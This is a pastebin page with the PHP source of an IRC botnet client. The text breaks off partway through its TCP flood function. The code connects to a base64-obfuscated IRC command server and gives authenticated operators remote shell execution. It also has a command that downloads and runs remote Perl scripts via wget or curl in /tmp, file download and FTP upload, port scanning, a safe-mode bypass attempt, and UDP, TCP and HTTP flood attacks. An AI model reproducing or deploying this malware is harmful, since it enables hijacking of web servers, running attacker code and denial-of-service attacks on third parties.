bot

From RubberDuck, 5 Years ago, written in PHP, viewed 1'090 times.
URL http://paste.security-portal.cz/view/0d037f58 Embed
Download Paste or View Raw
  1. <?
  2.  
  3.         /****************************************************/
  4.         /* powered by LND - by BDM                          */
  5.         /*                shouts:                           */
  6.         /*      Yes we hate exposedbotnets.com              */
  7.         /*         have a nice day @ pig                    */
  8.         /****************************************************/
  9.  
  10.  
  11.         set_time_limit( 0 );
  12.         error_reporting( 0 );
  13.         echo "Success!";
  14.  
  15.         class pBot
  16.         {
  17.                 var $using_encode = true;
  18.                
  19.                 var $config = array(
  20.                         'server'        => 'aXJjLnNlaWxlbi5kZQ==',      //server here (base64)
  21.                         'port'          => 6667,
  22.                         'chan'          => 'bGVnZW5kei1uZXZlci1kaWU=',          //channel here (base64) DO NOT USE "#", "#lazy" = "lazy"
  23.                         'key'           => '',
  24.                         'nickform'      => 'sql[%d]',
  25.                         'identp'        => 'darkxs',
  26.                         'modes'         => '+p',
  27.                         'maxrand'       => 3,
  28.                         'cprefix'       => '!',
  29.                         'host'          => '*.*'
  30.                 );
  31.  
  32.                 var $admins = array
  33.                 (
  34.                         'Darkskill' => '2cbd62e679d89acf7f1bfc14be08b045' // pass = "lol_dont_try_cracking_12char+_:P"
  35.                         //passes are MD5 format, you can also have multiple admins
  36.                 );
  37.                
  38.                 function auth_host( $nick, $password, $host )
  39.                 {
  40.                         $admin_count = count( $this->admins );
  41.                         if( $admin_count > 0 )
  42.                         {
  43.                                 $mpass = md5( $password );
  44.                                 if( $this->admins[ $nick ] == $mpass )
  45.                                 {
  46.                                         $this->users[ $host ] = true;
  47.                                 }
  48.                         }
  49.                         else
  50.                         {
  51.                                 $this->users[ $host ] = true;
  52.                         }
  53.                 }
  54.                
  55.                 function is_authed( $host )
  56.                 {
  57.                         return isset( $this->users[ $host ] );
  58.                 }
  59.                
  60.                 function remove_auth( $host )
  61.                 {
  62.                         unset( $this->users[ $host ] );
  63.                 }
  64.                
  65.                 function ex( $cfe )
  66.                 {
  67.                         $res = '';
  68.                         if (!empty($cfe))
  69.                         {
  70.                                 if(function_exists('class_exists') && class_exists('Perl'))
  71.                                 {
  72.                                         $perl = new Perl();
  73.                                         $perl->eval( "system('$cfe');" );
  74.                                 }
  75.                                 if(function_exists('exec'))
  76.                                 {
  77.                                         @exec($cfe,$res);
  78.                                         $res = join("\n",$res);
  79.                                 }
  80.                                 elseif(function_exists('shell_exec'))
  81.                                 {
  82.                                         $res = @shell_exec($cfe);
  83.                                 }
  84.                                 elseif(function_exists('system'))
  85.                                 {
  86.                                         @ob_start();
  87.                                         @system($cfe);
  88.                                         $res = @ob_get_contents();
  89.                                         @ob_end_clean();
  90.                                 }
  91.                                 elseif(function_exists('passthru'))
  92.                                 {
  93.                                         @ob_start();
  94.                                         @passthru($cfe);
  95.                                         $res = @ob_get_contents();
  96.                                         @ob_end_clean();
  97.                                 }
  98.                                 elseif(function_exists('proc_open'))
  99.                                 {
  100.                                         $res = proc_open($cfe);
  101.                                 }
  102.                                 elseif(@is_resource($f = @popen($cfe,"r")))
  103.                                 {
  104.                                         $res = "";
  105.                                         while(!@feof($f)) { $res .= @fread($f,1024); }
  106.                                         @pclose($f);
  107.                                 }
  108.                         }
  109.                         return $res;
  110.                 }
  111.                
  112.                 function is_safe( )
  113.                 {
  114.                         if( ( @eregi( "uid", $this->ex( "id" ) ) ) || ( @eregi( "Windows", $this->ex( "net start" ) ) ) )
  115.                         {
  116.                                 return 0;
  117.                         }
  118.                         return 1;
  119.                 }
  120.                
  121.                 function get_chan( )
  122.                 {
  123.                         if( $this->using_encode )
  124.                         {
  125.                                 return '#'.base64_decode( $this->config[ 'chan' ] );
  126.                         }
  127.                         else
  128.                         {
  129.                                 return '#'.$this->config[ 'chan' ];
  130.                         }
  131.                 }
  132.                
  133.                 function start()
  134.                 {
  135.                         if( $this->using_encode )
  136.                         {
  137.                                 if(!($this->conn = fsockopen(base64_decode($this->config['server']),$this->config['port'],$e,$s,30)))
  138.                                 {
  139.                                         $this->start();
  140.                                 }
  141.                         }
  142.                         else
  143.                         {
  144.                                 if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30)))
  145.                                 {
  146.                                         $this->start();
  147.                                 }
  148.                         }
  149.                                
  150.                         $ident = $this->config['prefix'];
  151.                         $alph = range("0","9");
  152.                         for( $i=0; $i < $this->config['maxrand']; $i++ )
  153.                         {
  154.                                 $ident .= $alph[rand(0,9)];
  155.                         }
  156.                                
  157.                         if( strlen( $this->config[ 'pass' ] ) > 0 )
  158.                         {
  159.                                 $this->send( "PASS ".$this->config[ 'pass' ] );
  160.                         }
  161.                                
  162.                         $this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
  163.                         $this->set_nick( );
  164.                         $this->main( );
  165.                 }
  166.  
  167.                 function main()
  168.                 {
  169.                         while(!feof($this->conn))
  170.                         {
  171.                                 $this->buf = trim(fgets($this->conn,512));
  172.                                 $cmd = explode(" ",$this->buf);
  173.                                 if(substr($this->buf,0,6)=="PING :")
  174.                                 {
  175.                                         $this->send("PONG :".substr($this->buf,6));
  176.                                 }
  177.                                 if(isset($cmd[1]) && $cmd[1] =="001")
  178.                                 {
  179.                                         $this->send("MODE ".$this->nick." ".$this->config['modes']);
  180.                                        
  181.                                         if( $this->using_encode )
  182.                                         {
  183.                                                 $this->join($this->get_chan( ),base64_decode($this->config['key']));
  184.                                         }
  185.                                         else
  186.                                         {
  187.                                                 $this->join($this->get_chan( ),$this->config['key']);
  188.                                         }
  189.                                        
  190.                                         if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
  191.                                         else { $safemode = "off"; }
  192.                                         $uname = php_uname();
  193.                                 }
  194.                                 if(isset($cmd[1]) && $cmd[1]=="433")
  195.                                 {
  196.                                         $this->set_nick();
  197.                                 }
  198.                                 if($this->buf != $old_buf)
  199.                                 {
  200.                                         $mcmd = array();
  201.                                         $msg = substr(strstr($this->buf," :"),2);
  202.                                         $msgcmd = explode(" ",$msg);
  203.                                         $nick = explode("!",$cmd[0]);
  204.                                         $vhost = explode("@",$nick[1]);
  205.                                         $vhost = $vhost[1];
  206.                                         $nick = substr($nick[0],1);
  207.                                         $host = $cmd[0];
  208.                                         if($msgcmd[0]==$this->nick)
  209.                                         {
  210.                                                 for($i=0;$i<count($msgcmd);$i++)
  211.                                                         $mcmd[$i] = $msgcmd[$i+1];
  212.                                         }
  213.                                         else
  214.                                         {
  215.                                                 for($i=0;$i<count($msgcmd);$i++)
  216.                                                         $mcmd[$i] = $msgcmd[$i];
  217.                                         }
  218.                                         if(count($cmd)>2)
  219.                                         {
  220.                                                 switch($cmd[1])
  221.                                                 {
  222.                                                         case "QUIT":
  223.                                                         {
  224.                                                                 if( $this->is_authed( $host ) )
  225.                                                                 {
  226.                                                                         $this->remove_auth( $host );
  227.                                                                 }
  228.                                                         }
  229.                                                         break;
  230.                                                         case "PART":
  231.                                                         {
  232.                                                                 if( $this->is_authed( $host ) )
  233.                                                                 {
  234.                                                                         $this->remove_auth( $host );
  235.                                                                 }
  236.                                                         }
  237.                                                         break;
  238.                                                         case "PRIVMSG":
  239.                                                                 if( ( substr($mcmd[0],0,1) == $this->config[ 'cprefix' ] ) )
  240.                                                                 {
  241.                                                                         if( $this->is_authed( $host ) == false )
  242.                                                                         {
  243.                                                                                 switch( substr( $mcmd[ 0 ], 1 ) )
  244.                                                                                 {
  245.                                                                                         case "auth":
  246.                                                                                         {
  247.                                                                                                 $this->auth_host( $nick, $mcmd[ 1 ], $host );
  248.                                                                                                 if( $this->is_authed( $host ) )
  249.                                                                                                 {
  250.                                                                                                         $this->privmsg( $this->get_chan( ), "[ auth ] Successful login from [ ".$nick." ]" );
  251.                                                                                                 }
  252.                                                                                                 else
  253.                                                                                                 {
  254.                                                                                                         $this->privmsg( $this->get_chan( ), "[ auth ] Failed attempt from [ ".$nick." ]" );
  255.                                                                                                 }
  256.                                                                                                 break;
  257.                                                                                         }
  258.                                                                                 }
  259.                                                                         }
  260.                                                                         else
  261.                                                                         {
  262.                                                                                 switch(substr($mcmd[0],1))
  263.                                                                                 {
  264.                                                                                         case "exec":
  265.                                                                                         {
  266.                                                                                                 if( !$this->is_safe( ) )
  267.                                                                                                 {
  268.                                                                                                         $command = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
  269.                                                                                                         $returndata = $this->ex( $command );
  270.                                                                                                         if( !empty( $returndata ) )
  271.                                                                                                         {
  272.                                                                                                                 $this->privmsg( $this->get_chan( ), '[ exec ] '.$returndata );
  273.                                                                                                         }
  274.                                                                                                 }
  275.                                                                                                 break;
  276.                                                                                         }
  277.                                                                                         case "info":
  278.                                                                                         {
  279.                                                                                                 $safemode = "on";
  280.                                                                                                 if( !$this->is_safe( ) )
  281.                                                                                                 {
  282.                                                                                                         $safemode = "off";
  283.                                                                                                 }
  284.                                                                                                 $this->privmsg( $this->get_chan( ), '[ info ] '.php_uname( ).' ( SAFE: '.$safemode.' )' );
  285.                                                                                                 break;
  286.                                                                                         }
  287.                                                                                         case "safe":
  288.                                                                                         {
  289.                                                                                                 $safemode = "on";
  290.                                                                                                 if( !$this->is_safe( ) )
  291.                                                                                                 {
  292.                                                                                                         $safemode = "off";
  293.                                                                                                 }
  294.                                                                                                 $this->privmsg( $this->get_chan( ), '[ safe ] '.$safemode );
  295.                                                                                                 break;
  296.                                                                                         }
  297.                                                                                         case "uname":
  298.                                                                                         {
  299.                                                                                                 $this->privmsg( $this->get_chan( ), '[ uname ] '.php_uname( ) );
  300.                                                                                                 break;
  301.                                                                                         }
  302.                                                                                         case "perl":
  303.                                                                                         {
  304.                                                                                                 if( $this->is_safe( ) )
  305.                                                                                                 {
  306.                                                                                                         $this->privmsg( $this->get_chan( ), '[ dropperl ] Safe mode is ON' );
  307.                                                                                                         break;
  308.                                                                                                 }
  309.                                                                                                
  310.                                                                                                 $perl_file = $mcmd[1];
  311.                                                                                                
  312.                                                                                                 if( !empty( $perl_file ) )
  313.                                                                                                 {
  314.                                                                                                         $parsed_url = $this->parse_url_s( $perl_file );
  315.                                                                                                        
  316.                                                                                                         $new_remote = $parsed_url[ 'scheme' ].'://'.$parsed_url[ 'host' ].$parsed_url[ 'dir' ].'/';
  317.                                                                                                         $new_local      = $parsed_url[ 'file' ];
  318.                                                                                                         $file_type      = $parsed_url[ 'file_ext' ];
  319.                                                                                                        
  320.                                                                                                         $this->ex('cd /tmp;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  321.                                                                                                         $this->ex('cd /tmp;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  322.                                                                                                         $this->ex('cd /tmp;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  323.                                                                                                         $this->ex('cd /tmp;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  324.                                                                                                         $this->ex('cd /dev/shm;wget '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  325.                                                                                                         $this->ex('cd /dev/shm;curl -O '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  326.                                                                                                         $this->ex('cd /dev/shm;lwp-download '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  327.                                                                                                         $this->ex('cd /dev/shm;lynx -source '.$new_remote.$new_local.';perl '.$new_local.';rm -rf *'.$file_type.'*');
  328.                                                                                                         $this->ex('cd /tmp;rm -rf *'.$file_type.'**');
  329.                                                                                                         $this->ex('cd /dev/shm;rm -rf *'.$file_type.'**');
  330.                                                                                                        
  331.                                                                                                         $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$new_remote.$new_local );
  332.                                                                                                         break;
  333.                                                                                                 }
  334.                                                                                                
  335.                                                                                                 $this->privmsg( $this->get_chan( ), '[ execrfi ] Failure executing '.$perl_file );
  336.                                                                                                 break;
  337.                                                                                         }
  338.                                                                                         case "ip":
  339.                                                                                         {
  340.                                                                                                 $this->privmsg( $this->get_chan( ), '[ ip ] '.$_SERVER['SERVER_ADDR'] );
  341.                                                                                                 break;
  342.                                                                                         }
  343.                                                                                         case "rfi":
  344.                                                                                         {
  345.                                                                                                 $fileUrl = $mcmd[1];
  346.                                                                                                
  347.                                                                                                 if( !empty( $fileUrl ) )
  348.                                                                                                 {
  349.                                                                                                         $urli = parse_url( $fileUrl );
  350.                                                                                                        
  351.                                                                                                         if( !empty( $urli['host'] ) && !empty( $urli['path'] ) && !empty( $urli['query'] ) )
  352.                                                                                                         {
  353.                                                                                                                 $fp = fsockopen( $urli['host'], 80, $errno, $errstr, 5 );
  354.                                                                                                                
  355.                                                                                                                 if( $fp )
  356.                                                                                                                 {
  357.                                                                                                                         $out = "GET /".$urli['path'].$urli['query']." HTTP/1.1\r\n";
  358.                                                                                                                         $out .= "Host: ".$urli['host']."\r\n";
  359.                                                                                                                         $out .= "Keep-Alive: 300\r\n";
  360.                                                                                                                         $out .= "Connection: keep-alive\r\n\r\n";
  361.                                                                                                                         fwrite( $fp, $out );
  362.                                                                                                                        
  363.                                                                                                                         $get_data = '';
  364.                                                                                                                        
  365.                                                                                                                         while(!feof($fp))
  366.                                                                                                                         { $get_data .= fgets( $fp, 256 ); }
  367.                                                                                                                        
  368.                                                                                                                         $this->privmsg( $this->get_chan( ), '[ execrfi ] Executed file '.$fileUrl );
  369.                                                                                                                         break;
  370.                                                                                                                 }
  371.                                                                                                         }
  372.                                                                                                 }
  373.                                                                                                
  374.                                                                                                 $this->privmsg( $this->get_chan( ), '[ execrfi ] Failure executing '.$fileUrl );
  375.                                                                                                 break;
  376.                                                                                         }
  377.                                                                                         case "base64":
  378.                                                                                         {
  379.                                                                                                 $str_ed = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
  380.                                                                                                 switch( $mcmd[1] )
  381.                                                                                                 {
  382.                                                                                                         case "encode":
  383.                                                                                                         {
  384.                                                                                                                 $this->privmsg( $this->get_chan( ), "[ base64 ] encode [ '".$str_ed."' -> '".base64_encode($str_ed)."' ]" );
  385.                                                                                                                 break;
  386.                                                                                                         }
  387.                                                                                                         case "decode":
  388.                                                                                                         {
  389.                                                                                                                 $this->privmsg( $this->get_chan( ), "[ base64 ] decode [ '".$str_ed."' -> '".base64_decode($str_ed)."' ]" );
  390.                                                                                                                 break;
  391.                                                                                                         }
  392.                                                                                                 }
  393.                                                                                                 break;
  394.                                                                                         }
  395.                                                                                         case "md5":
  396.                                                                                         {
  397.                                                                                                 $str_md5 = substr( strstr( $msg, $mcmd[0] ), strlen( $mcmd[0] ) + 1 );
  398.                                                                                                 $this->privmsg( $this->get_chan( ), "[ md5 ] [ '".$str_md5."' -> '".md5($str_md5)."' ]" );
  399.                                                                                                 break;
  400.                                                                                         }
  401.                                                                                         case "dns":
  402.                                                                                         {
  403.                                                                                                 if(isset($mcmd[1]))
  404.                                                                 {
  405.                                                                         $ip = explode(".",$mcmd[1]);
  406.                                                                         if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1])
  407.                                                                                                                 && is_numeric($ip[2]) && is_numeric($ip[3]))
  408.                                                                         {
  409.                                                                         $this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
  410.                                                                         }
  411.                                                                         else
  412.                                                                         {
  413.                                                                         $this->privmsg($this->get_chan( ),"[ dns ]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
  414.                                                                         }
  415.                                                                 }
  416.                                                                                                 break;
  417.                                                                                         }
  418.                                                                                         case "exit":
  419.                                                                                         {
  420.                                                                                                 fclose( $this->conn );
  421.                                                                                                 exit( );
  422.                                                                                                 break;
  423.                                                                                         }
  424.                                                                                         case "restart":
  425.                                                                                         {
  426.                                                                                                 $this->privmsg( $this->get_chan( ), "[ restart ] executed by [".$nick."]" );
  427.                                                                                                 $this->send( "QUIT :restart command from ".$nick );
  428.                                                                                                 fclose( $this->conn );
  429.                                                                                                 $this->start();
  430.                                                                                                 break;
  431.                                                                                         }
  432.                                                                                         case "bs":
  433.                                                                                         {
  434.                                                                                                 if( $this->is_safe( ) )
  435.                                                                                                 {
  436.                                                                                                         ini_restore( "safe_mode" );
  437.                                                                                                         ini_restore( "open_basedir" );
  438.                                                                                                 }
  439.                                                                                                
  440.                                                                                                 $safemode = "on";
  441.                                                                                                 if( !$this->is_safe( ) )
  442.                                                                                                 {
  443.                                                                                                         $safemode = "off";
  444.                                                                                                         $this->set_nick();
  445.                                                                                                 }
  446.                                                                                                 $this->privmsg( $this->get_chan( ), '[ safe ] '.$safemode );
  447.                                                                                         }
  448.                                                                                         case "moveserver":
  449.                                                                                         {
  450.                                                                                                 if( count( $mcmd ) > 3 )
  451.                                                                                                 {
  452.                                                                                                         $server = $mcmd[1];
  453.                                                                                                         $port = $mcmd[2];
  454.                                                                                                         $channel = $mcmd[3];
  455.                                                                                                         $key = $mcmd[4];
  456.                                                                                                        
  457.                                                                                                         if( $this->using_encode )
  458.                                                                                                         {
  459.                                                                                                                 $this->config[ 'server' ] = base64_encode( $server );
  460.                                                                                                                 $this->config[ 'chan' ] = base64_encode( str_replace( "#", "", $channel ) );
  461.                                                                                                                 $this->config[ 'key' ] = base64_encode( $key );
  462.                                                                                                         }
  463.                                                                                                         else
  464.                                                                                                         {
  465.                                                                                                                 $this->config[ 'server' ] = $server;
  466.                                                                                                                 $this->config[ 'chan' ] = str_replace( "#", "", $channel );
  467.                                                                                                                 $this->config[ 'key' ] = $key;
  468.                                                                                                         }
  469.                                                                                                        
  470.                                                                                                         $this->config[ 'port' ] = $port;
  471.                                                                                                         $this->privmsg( $this->get_chan( ), "[ moveserver ] ".$server." => ".$port." => ".$channel." => ".$key );
  472.                                                                                                         $this->send( "QUIT :moveserver command from ".$nick );
  473.                                                                                                        
  474.                                                                                                         fclose( $this->conn );
  475.                                                                                                         $this->start();
  476.                                                                                                 }
  477.                                                                                                 break;
  478.                                                                                         }
  479.                                                                                         case "whois":
  480.                                                                                         {
  481.                                                                                                 $param2 = $mcmd[1];
  482.                                                                                                
  483.                                                                                                 if( !empty( $param2 ) )
  484.                                                                                                 {
  485.                                                                                                         //do it
  486.                                                                                                         //http://ws.arin.net/whois/?queryinput=127.0.0.1
  487.                                                                                                         $fp = fsockopen( "ws.arin.net", 80, $errno, $errstr, 30 );
  488.                                                                                                        
  489.                                                                                                         if( $fp )
  490.                                                                                                         {
  491.                                                                                                                 $out = "GET /whois/?queryinput=$param2 HTTP/1.1\r\n";
  492.                                                                                                                 $out .= "Host: ws.arin.net\r\n";
  493.                                                                                                                 $out .= "Keep-Alive: 300\r\n";
  494.                                                                                                                 $out .= "Connection: keep-alive\r\n\r\n";
  495.                                                                                                                 fwrite( $fp, $out );
  496.        
  497.                                                                                                                 $whodata = '';
  498.                                                                                                                 while(!feof($fp))
  499.                                                                                                                 {
  500.                                                                                                                         /*do nothing*/
  501.                                                                                                                         $whodata .= fread( $fp, 1024 );
  502.                                                                                                                 }
  503.                                                                                                                
  504.                                                                                                                 $explk = explode( "<div id=\"content\">", $whodata );
  505.                                                                                                                 $explk = explode( "</div>", $explk[1] );
  506.                                                                                                                 $htmldat = strip_tags( $explk[0] );
  507.  
  508.                                                                                                                 fclose( $fp );
  509.                                                                                                                
  510.                                                                                                                 $this->privmsg( $this->get_chan( ), "[ whois ] $htmldat" );
  511.  
  512.                                                                                                         }else{
  513.                                                                                                                 $this->privmsg( $this->get_chan( ), "[ whois ] Error: $errstr" );
  514.                                                                                                         }
  515.                                                                                                 }
  516.                                                                                                 else
  517.                                                                                                 {
  518.                                                                                                         $this->privmsg( $this->get_chan( ), "[ whois ] Invalid params, use .whois <ip/host>" );
  519.                                                                                                 }
  520.                                                                                                 break;
  521.                                                                                         }
  522.                                                                                         case "upftp":
  523.                                                                                         {
  524.                                                                                                 //ftp://user:password@host.com
  525.                                                                                                 $pftp = parse_url( $mcmd[1] );
  526.                                                                                                 $file = $mcmd[2];
  527.                                                                                                 $dest = $mcmd[3];
  528.                                                                                                
  529.                                                                                                 if( empty( $pftp[ 'host' ] )
  530.                                                                                                         || empty( $pftp[ 'user' ] )
  531.                                                                                                         || empty( $pftp[ 'pass' ] )
  532.                                                                                                         || empty( $file )
  533.                                                                                                         || empty( $dest ) )
  534.                                                                                                 {
  535.                                                                                                         $this->privmsg( $this->get_chan( ), "[ upftp ] URL line invalid!" );
  536.                                                                                                 }
  537.                                                                                                 else
  538.                                                                                                 {
  539.                                                                                                         $conn_id = ftp_connect( $pftp[ 'host' ] );
  540.                                                                                                         $login_result = ftp_login( $conn_id, $pftp[ 'user' ], $pftp[ 'pass' ] );
  541.                                                                                                        
  542.                                                                                                         if( ( !$conn_id ) || ( !$login_result ) )
  543.                                                                                                         {
  544.                                                                                                                 $this->privmsg( $this->get_chan( ), "[ upftp ] FTP connection failed!" );
  545.                                                                                                         }
  546.                                                                                                         else
  547.                                                                                                         {
  548.                                                                                                                 $this->privmsg( $this->get_chan( ), "[ upftp ] Connected to ".$pftp[ 'host' ]." for user ".$pftp[ 'user' ] );
  549.                                                                                                                 $upload = ftp_put( $conn_id, $dest, $file, FTP_BINARY );
  550.                                                                                                                 if( !$upload )
  551.                                                                                                                 {
  552.                                                                                                                         $this->privmsg( $this->get_chan( ), "[ upftp ] FTP upload faled!" );
  553.                                                                                                                 }
  554.                                                                                                                 else
  555.                                                                                                                 {
  556.                                                                                                                         $this->privmsg( $this->get_chan( ), "[ upftp ] FTP upload success!" );
  557.                                                                                                                         $this->privmsg( $this->get_chan( ), "[ upftp ] Uploaded '".$file."' to '".$dest."'" );
  558.                                                                                                                 }
  559.                                                                                                         }
  560.                                                                                                 }
  561.                                                                                                 break;
  562.                                                                                         }
  563.                                                                                         case "joinchan":
  564.                                                                                         {
  565.                                                                                                 $channel = $mcmd[1];
  566.                                                                                                 $key = $mcmd[2];
  567.                                                                                                 $this->privmsg( $this->get_chan( ), "[ joinchan ] ".$channel." => ".$key );
  568.                                                                                                 $this->join( $channel, $key );
  569.                                                                                                 break;
  570.                                                                                         }
  571.                                                                                         case "partchan":
  572.                                                                                         {
  573.                                                                                                 $this->privmsg( $this->get_chan( ), "[ partchan ] ".$mcmd[1] );
  574.                                                                                                 $this->send( "PART ".$mcmd[1] );
  575.                                                                                         }
  576.                                                                                         case "vuln":
  577.                                                                                         {
  578.                                                                                                 $server_name = $_SERVER['SERVER_NAME'];
  579.                                                                                                 $req_uri = $_SERVER['REQUEST_URI'];
  580.                                                                                                
  581.                                                                                                 if( $server_name != "localhost" && $server_name != "127.0.0.1" )
  582.                                                                                                 {
  583.                                                                                                         if( strlen( $server_name ) && strlen( $req_uri ) )
  584.                                                                                                         {
  585.                                                                                                                 $vuln = "http://".$server_name.$req_uri;
  586.                                                                                                                 $this->privmsg( $this->get_chan( ), "[ getvuln ] ".$vuln );
  587.                                                                                                         }
  588.                                                                                                 }
  589.                                                                                                 break;
  590.                                                                                         }
  591.                                                                                         case "download":
  592.                                                                                         {
  593.                                                                                                 if( count( $mcmd ) > 2 )
  594.                                                                                                 {
  595.                                                                                                         if( !$fp = fopen( $mcmd[ 2 ], "w" ) )
  596.                                                                                                         {
  597.                                                                                                                 $this->privmsg( $this->get_chan( ), "[ download ] Permission denied!" );
  598.                                                                                                         }
  599.                                                                                                         else
  600.                                                                                                         {
  601.                                                                                                                 if( !$get = file( $mcmd[ 1 ] ) )
  602.                                                                                                                 {
  603.                                                                                                                         $this->privmsg( $this->get_chan( ), "[ download ] Download failed!" );
  604.                                                                                                                 }
  605.                                                                                                                 else
  606.                                                                                                                 {
  607.                                                                                                                         for( $i=0; $i <= count( $get ); $i++ )
  608.                                                                                                                         {
  609.                                                                                                                                 fwrite( $fp, $get[ $i ] );
  610.                                                                                                                         }
  611.                                                                                                                         $this->privmsg( $this->get_chan( ),"[ download ] URL [".$mcmd[ 1 ]."] to [".$mcmd[ 2 ]."]");
  612.                                                                                                                 }
  613.  
  614.                                                                                                                 fclose( $fp );
  615.                                                                                                         }
  616.                                                                                                 }
  617.                                                                                                 else
  618.                                                                                                 {
  619.                                                                                                         $this->privmsg( $this->get_chan( ), "[ download ] Invalid Parameters, idiot!" );
  620.                                                                                                 }
  621.                                                                                                 break;
  622.                                                                                         }
  623.                                                                                         case "pmsg":
  624.                                                                                         {
  625.                                                                                                 $person = $mcmd[1];
  626.                                                                                                 $text = substr( strstr( $msg, $mcmd[1] ), strlen( $mcmd[1] ) + 1 );
  627.                                                                                                 $this->privmsg( $this->get_chan( ), "[ pmsg ] ".$person." => ".$text );
  628.                                                                                                 $this->privmsg( $person, $text );
  629.                                                                                                 break;
  630.                                                                                         }
  631.                                                                                         case "pscan":
  632.                                                                                         {
  633.                                                                                                 $host = $mcmd[1];
  634.                                                                                                 $beginport = $mcmd[2];
  635.                                                                                                 $endport = $mcmd[3];
  636.                                                                                                 $open_ports = "Open Port List for ".$host.": ";
  637.                                                                                                
  638.                                                                                                 for($i = $beginport; $i < $endport; $i++)
  639.                                                                                                 {
  640.                                                                                                         if( $this->scanport( $host, $i ) )
  641.                                                                                                         {
  642.                                                                                                                 $open_ports .= "|".$i;
  643.                                                                                                         }
  644.                                                                                                 }
  645.                                                                                                
  646.                                                                                                 $this->privmsg( $this->get_chan( ), $open_ports );
  647.                                                                                                 break;
  648.                                                                                         }
  649.                                                                                         case "software":
  650.                                                                                         {
  651.                                                                                                 $this->privmsg( $this->get_chan( ), $_SERVER[ 'SERVER_SOFTWARE' ] );
  652.                                                                                                 break;
  653.                                                                                         }
  654.                                                                                         case "snf":
  655.                                                                                         {
  656.                                                                                                 $this->config[ 'nickform' ] = $mcmd[ 1 ];
  657.                                                                                                 $this->privmsg( $this->get_chan( ), "Nickname format set to [ ".$mcmd[ 1 ]." ]" );
  658.                                                                                                 break;
  659.                                                                                         }
  660.                                                                                         case "randnick":
  661.                                                                                         {
  662.                                                                                                 $this->set_nick();
  663.                                                                                                 break;
  664.                                                                                         }
  665.                                                                                         case "unauth":
  666.                                                                                         {
  667.                                                                                                 $this->remove_auth( $host );
  668.                                                                                                 $this->privmsg( $this->get_chan( ), "[ auth ] Logout [ ".$nick." ]" );
  669.                                                                                                 break;
  670.                                                                                         }
  671.                                                                                         case "urlbomb":
  672.                                                                                         {
  673.                                                                                                 $this->urlbomb( $mcmd[ 1 ], $mcmd[ 2 ], $mcmd[ 3 ] );
  674.                                                                                                 break;
  675.                                                                                         }
  676.                                                         case "udpflood":
  677.                                                                                         {
  678.                                                                 if( count( $mcmd ) > 3 )
  679.                                                                 {
  680.                                                                         $this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
  681.                                                                 }
  682.                                                                 break;
  683.                                                                                         }
  684.                                                         case "tcpflood":
  685.                                                                                         {
  686.                                                                 if( count( $mcmd ) > 5 )
  687.                                                                 {
  688.                                                                         $this->tcpflood($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4],$mcmd[5]);
  689.                                                                 }
  690.                                                                 break;
  691.                                                                                         }
  692.                                                                                 }
  693.                                                                         }
  694.                                                                 }
  695.                                                         break;
  696.                                                 }
  697.                                         }
  698.                                 }
  699.                                 $old_buf = $this->buf;
  700.                         }
  701.                         $this->start();
  702.                 }
  703.                
  704.                 function scanport( $host, $port )
  705.                 {
  706.                         if( fsockopen( $host, $port, $e, $s ) )
  707.                         {
  708.                                 return 1;
  709.                         }
  710.                         return 0;
  711.                 }
  712.                
  713.                 function urlbomb( $host, $path, $times, $mode = 0 )
  714.                 {
  715.                         if( !isset( $host ) || !isset( $path ) || !isset( $times ) )
  716.                                 return;
  717.                        
  718.                         $this->privmsg( $this->get_chan( ), '[ urlbomb ] started! [ '.$host.'/'.$path.' ]' );
  719.                        
  720.                         $success = 0;
  721.                         for( $i = 0; $i < $times; $i++ )
  722.                         {
  723.                                 $fp = fsockopen( $host, 80, $errno, $errstr, 30 );
  724.                                 if( $fp )
  725.                                 {
  726.                                         $out = "GET /".$path." HTTP/1.1\r\n";
  727.                                         $out .= "Host: ".$host."\r\n";
  728.                                         $out .= "Keep-Alive: 300\r\n";
  729.                                         $out .= "Connection: keep-alive\r\n\r\n";
  730.                                         fwrite( $fp, $out );
  731.  
  732.                                         if( $mode != 0 )
  733.                                         {
  734.                                                 while(!feof($fp)){/*do nothing*/}
  735.                                         }
  736.                                        
  737.                                         fclose( $fp );
  738.                                        
  739.                                         $success++;
  740.                                 }
  741.                         }
  742.  
  743.                         $this->privmsg( $this->get_chan( ), '[ urlbomb ] finished! [ '.$host.'/'.$path.' ][ success: '.$success.' ]' );
  744.                 }
  745.                
  746.                 function udpflood( $host, $packetsize, $time )
  747.                 {
  748.                         $this->privmsg( $this->get_chan( ),"[ udpflood ] Started [".$host."]" );
  749.                         $packet = "";
  750.                         for($i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
  751.                         $timei = time();
  752.                         $i = 0;
  753.                         while(time()-$timei < $time)
  754.                         {
  755.                                 $fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
  756.                                 fwrite($fp,$packet);
  757.                                 fclose($fp);
  758.                                 $i++;
  759.                         }
  760.                         $env = $i * $packetsize;
  761.                         $env = $env / 1048576;
  762.                         $vel = $env / $time;
  763.                         $vel = round($vel);
  764.                         $env = round($env);
  765.                         $this->privmsg( $this->get_chan( ),"[ udpflood ] $env MB Sent / $vel MB/s ");
  766.                 }
  767.                
  768.                 function tcpflood($host,$packets,$packetsize,$port,$delay)
  769.                 {
  770.                         $this->privmsg( $this->get_chan( ),"[\2TcpFlood Started!\2]");
